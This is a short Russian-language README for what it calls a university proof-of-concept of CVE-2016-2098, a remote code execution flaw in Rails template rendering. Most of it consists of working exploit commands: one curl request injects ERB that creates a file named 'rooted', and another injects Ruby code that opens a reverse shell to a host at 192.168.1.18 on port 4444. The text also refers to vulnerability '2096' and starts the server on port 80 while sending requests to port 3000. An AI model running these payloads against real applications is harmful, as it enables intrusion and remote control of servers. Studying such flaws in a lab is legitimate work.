
Доказательство концепции CVE-2016-2098
Университетский проект, созданный @alejandro-marting где мы можем проверить уязвимость 2096
Используя:
##Выполнение: Сначала нужно запустить сервер rails следующей командой:
$ rvmsudo rails server -b 0.0.0.0 -p 80
Теперь мы можем вызвать удалённое выполнение кода следующей командой:
$ curl 'localhost:3000/poc/render1?template\[inline\]=<%25%3DFileUtils.touch+"rooted"%25>'
(Должен быть создан файл rooted)
Если вы хотите попробовать обратную оболочку с внедрением ruby-кода, можете выполнить следующую команду:
$ curl -H "Content-type: application/json" -X GET -d ' {"template" : {
"inline" : "<%= require \'socket\';exit if
fork;c=TCPSocket.new(\"192.168.1.18\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print
io.read}end %>"}}' http://localhost:3000/poc/render1
Если у вас есть вопросы, пожалуйста, свяжитесь со мной!